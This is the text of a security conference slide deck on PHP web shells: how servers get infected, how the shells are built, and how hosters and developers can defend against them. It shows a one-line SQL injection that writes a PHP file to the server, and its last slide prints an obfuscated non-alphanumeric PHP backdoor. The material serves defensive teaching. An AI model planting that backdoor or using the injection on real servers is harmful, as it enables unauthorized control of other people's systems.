39
Vedran Krivokuća, <[email protected]> Ivan Špoljarić, <[email protected]> Anatomy of PHP shell scripts

Anatomy of PHP Shells

Embed Size (px)

DESCRIPTION

My talk at regional security conference, FSEC @FOI University, Varaždin, Croatia Co-author: Ivan Špoljarić

Citation preview

Page 1: Anatomy of PHP Shells

Vedran Krivokuća, <[email protected]>Ivan Špoljarić, <[email protected]>

Anatomy of PHP shell scripts

Page 2: Anatomy of PHP Shells

A little about PHP shells in general

Page 3: Anatomy of PHP Shells

● Scripts written (mostly) in PHP*;

● Placed on a server (mostly under existing PHP sites) without authorization from server/web site owner;

● Used for "unauthorized maintenance" of the infected server;

● By the "unauthorized maintenance", we mean literally anything.

What are PHP shell scripts?

Page 4: Anatomy of PHP Shells

● Running applications/scripts (with root privileges)

● "Piggybacking" on existing local exploits

● Modifying files

● Changing user passwords

● Enabling/disabling/reconfiguring system services

● Dumping, destroying and modifying databases

● Opening new backdoors to the system

"Unauthorized maintenance"

Page 5: Anatomy of PHP Shells

● Surprisingly yes, C99shell and all of it's derivates seem to be most widespread PHP Shells out there.

● There are literally thousands of PHP shell scripts out there, quality varies.

Are there "the best" PHP shells?

Page 6: Anatomy of PHP Shells

Methods of infection by PHP shells

Page 7: Anatomy of PHP Shells

● Documentation for PHP, not the language itself, is a root of all evil.

● You don't believe it? This is how bad it is:

Root Of All Evil

Page 8: Anatomy of PHP Shells
Page 9: Anatomy of PHP Shells

How hard could this possibly be?

Page 10: Anatomy of PHP Shells

● But most of the responsibility is on the programmer.

● PHP team often does good job describing possible security pitfalls in their documentation

Documented possible pitfalls

Page 11: Anatomy of PHP Shells

● attacks through standard filesystem functions which allow socket operations like fopen(), include(), require()...*

● attacks through unvalidated upload forms (not documented clearly enough, obviously...)

● in the worst case scenario, due to constellation of multiple bugs/vulnerabilities/weak setup, attacker might even use SQL injection to write files on your server!

mysql> SELECT `injected_malicious_data` FROM `yourtable` INTO OUTFILE "file.php"

Documented possible vulnerabilities

Page 12: Anatomy of PHP Shells

● Legend says there were infections with shell scripts through stolen FTP credentials.

So, it's about time you change your "god", "sex" and "love" stuff. Also, change those "password" and "password123". In other words, your server's security is as strong as it is its weakest link.

● On shared hosting environments without proper user account isolation, it might not even be you who is infected but other shared hosting client. Consult hosting support in order to track down how you were attacked.

Other methods of infection

Page 13: Anatomy of PHP Shells

What if...?

Page 14: Anatomy of PHP Shells

And now the interesting part...Let's take a peek at PHP shells code

Page 15: Anatomy of PHP Shells

● Rather clever, if not smart, architecture

● Written mostly in PHP, but can bring any exploiting code inside PHP source code in binary (compiled) form (mostly base64 encoded within variables) or even download needed exploits (source or binary) from 3rd party sites, compile and/or run them.

● If needed, can pull its own components from 3rd party sites.

General architecture

Page 16: Anatomy of PHP Shells

● Decentralized development

● Resulting in many variations of all of PHP shells inthe wild

● Code often complied to such development process, usually securing itself from redefining crucial components (if !function_exists())... prior to all important definitions)

● Can rely on 0-day exploits!

Quick development cycle

Page 17: Anatomy of PHP Shells

● The scary part: it's a really short way from "plain PHP shell" to a full-blown bot script controlled through IRC

Quick development cycle

Page 18: Anatomy of PHP Shells

● Not written by your know-just-a-little-coding regular PHP dev (no pun intended)

● You'll see what I mean...

Coding style

Page 19: Anatomy of PHP Shells

● Well documented code:

function mysql_query_parse($query, $output_type){/* if output_type == 0, no output, if output_type == 1, no output if no error if output_type == 2, output without control-buttons if output_type == 3, output with control-buttons*/...}

Coding style

Page 20: Anatomy of PHP Shells

● Proper understanding and usage of variable scopes:

function c99fsearch($d){ global $found; global $found_d; global $found_f; global $search_i_f; global $search_i_d; global $a;...}

Coding style

Page 21: Anatomy of PHP Shells

● It's usually safer code than many of the production PHP code in the wild:

● If it's a cross-platform shell, it performs checks before doing a function unavailable on other platform(s)

● Variables included in HTML output are escaped, so no easy path to unwanted XSS

● SQL query parameters are also escaped, no easy path to unwanted SQL injections

Coding style

Page 22: Anatomy of PHP Shells

● Variable/function names obfuscation is done/not donein approximately 50:50 examples from our collectedPHP shells

● External URLs, usernames, passwords are mostly always encoded using either base64 encoding or some kind of ascii-code-to-hex-codes conversion

● Obviously not for real protection but obfuscation against most obvious pattern-searching during attempts of detection*

Coding style

Page 23: Anatomy of PHP Shells

GUI

Page 24: Anatomy of PHP Shells

● Mostly quite ugly but always very efficient

● Sortable table outputs on every field

● You might be tempted to administer your server solely through PHP shell scripts. :-)

GUI

Page 25: Anatomy of PHP Shells

Defensive measures

Page 26: Anatomy of PHP Shells

There are no shortcuts!

Page 27: Anatomy of PHP Shells

These recommendations are best for hosters, but the developers are also invited to have them in mind!

● Whenever possible, chroot or go even further with isolation of different web sites on the same machine (containers/pseudo-virtualization/virtualization), limiting potential damage to just one site.

● Regulary update your server's OS – PHP shells (as we've learned) can bring along local exploits.

● Seriously consider complex password policies if you're running shared hosting environment.

System preparation

Page 28: Anatomy of PHP Shells

● Disable potentially dangerous socket functionality of filesystem PHP functions if you don't need it(allow_url_fopen, allow_url_include in php.ini)if you're not sure – you don't need it

● When editing, keep in mind some systems (*cough*Debian*cough*) may have multiple php.ini files (one for mod_php, one for CLI, one for CGI...). Take care of them all.

● Follow usual security principles in server administration and maintenance.

Global PHP configuration

Page 29: Anatomy of PHP Shells

● Consider further crippling PHP by disabling at least program execution PHP functions if you don't need them (through disable_functions).

● Which are those?http://www.php.net/manual/en/ref.exec.php

● Leave something enabled from program execution functions?*escapeshellarg(), escapeshellcmd()

● While on that subject – you can't disable eval() like this. :-)

Global PHP configuration

Page 30: Anatomy of PHP Shells

● Always be checking uploaded files! (it is incredible how much code does not do any kind of checks)

● Keep in mind not to rely on $_FILES[…]['type']. Why?

Follow good coding practices

Page 31: Anatomy of PHP Shells

$_FILES[...]["type"]

Page 32: Anatomy of PHP Shells

● In general, checking for file extension could do youjust well... If you don't end up only on that, use it as the primary defense measure.

● That might just not be enough sometimes. You might want to step-up this game:

● check for mime-type on server. On linux, you can use external FILE(1) utility. Assuming you haven't disabled program execution functions.

● We'll see how others do it later.

Ok, how to check uploaded files?

Page 33: Anatomy of PHP Shells

● Always be sanitizing and validating inputs. PHP shells can be injected through various vectors:

● Apply programming techniques to eliminate possible SQL injections (escaping, parametrization...)

● Always be escaping shell commands you execute and their arguments.

● Always doublecheck on filenames of files (and their paths!) you handle from the code!

Follow good coding practices

Page 34: Anatomy of PHP Shells

How to others defend themselves?

(three examples)

Page 35: Anatomy of PHP Shells

● As far as file uploads go, WordPress checks for uploaded media types by instancing them in respective modules (i. e. calls GD's getimagesize() on images)

● WordPress is generally very safe CMS. 3rd party plugins are usually the source of security issues and PHP shell infections.

WordPress

Page 36: Anatomy of PHP Shells

● Puts no limitation itself on the uploaded content, since it is attached to e-mail messages and then deleted from temporary locations.

● Is it possible to attack remote e-mail clients like that? Depending on the destination client, it's possible. Not something Roundcube devs should and could focus on.

Roundcube webmail

Page 37: Anatomy of PHP Shells

● Guesses the mime-type by extension, and you limit allowed mime-types for upload through configuration.

● You can enable upload of "dangerous file types" if you want.

Dokuwiki

Page 38: Anatomy of PHP Shells

Bonus slide

What happens when frustratedSendmail administrators write

PHP shells?

http://blog.sucuri.net/2013/09/ask-sucuri-non-alphanumeric-backdoors.html

Page 39: Anatomy of PHP Shells

@$_[]=@!+_; $__=@${_}>>$_;$_[]=$__;$_[]=@_;$_[((++$__)+($__++ ))].=$_;$_[]=++$__; $_[]=$_[--$__][$__>>$__];$_[$__].=(($__+$__)+ $_[$__-$__]).($__+$__+$__)+$_[$__-$__];$_[$__+$__] = ($_[$__][$__>>$__]).($_[$__][$__]^$_[$__][($__<<$__)-$__] );$_[$__+$__] .= ($_[$__][($__<<$__)-($__/$__)])^($_[$__][$__] );$_[$__+$__] .= ($_[$__][$__+$__])^$_[$__][($__<<$__)-$__ ];$_=$ $_[$__+ $__] ;$_[@-_]($_[@!+_]);

#ep1cw1n